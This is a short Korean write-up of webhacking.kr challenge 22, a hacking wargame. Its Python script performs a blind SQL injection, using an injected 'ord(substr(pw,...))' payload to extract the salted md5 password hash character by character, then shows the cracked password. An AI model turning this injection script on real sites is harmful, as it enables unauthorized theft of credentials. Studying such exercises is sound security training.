challenge 22

user key = md5값

md5를 복호화하는 내가 join한 uuid  + salt (zombie) 가 붙어있었음

sql 인젝션을 확인하기 위해 username에 admin' 1=1#을 넣으면 Wrong password! 페이지가 뜬다

sql 인젝션의 가능을 확인했으니 blind injection으로 and 를 사용해 입력하면 된다

import httplib
import urllib2 , urllib
import re
 
pw = "" #result
md5_range = range(48,58)#number
md5_range+=range(97,104)#letter
 
result = ""
url="http://webhacking.kr/challenge/bonus/bonus-2/"
for i in range(1,33): #md5 length
    for j in md5_range:
        data = {"uuid" : "admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"} #post
        data = urllib.urlencode(data)
        req = urllib2.Request(url , data)
        req.add_header("Cookie","PHPSESSID=Your_Cookie")
        req.add_header("Content-type","application/x-www-form-urlencoded")
        req.add_header("Accept","text/plain")
        response = urllib2.urlopen(req).read().encode('utf-8')
        print "["  + str(i) + "] Try  " +chr(j)
        #print response
        if "Wrong password!" in response:
            result += chr(j)
            print "[!] FIND : " + chr(j)
            break
 
print result 
 

값은 2a93a7cea083c6e9e02c97ec5a5d715a 로 나오며 md5으로 복호화하면 rainbowzombie 가 나온다 zombie는 salft이니 rainbow를 비번에 입력하면 완성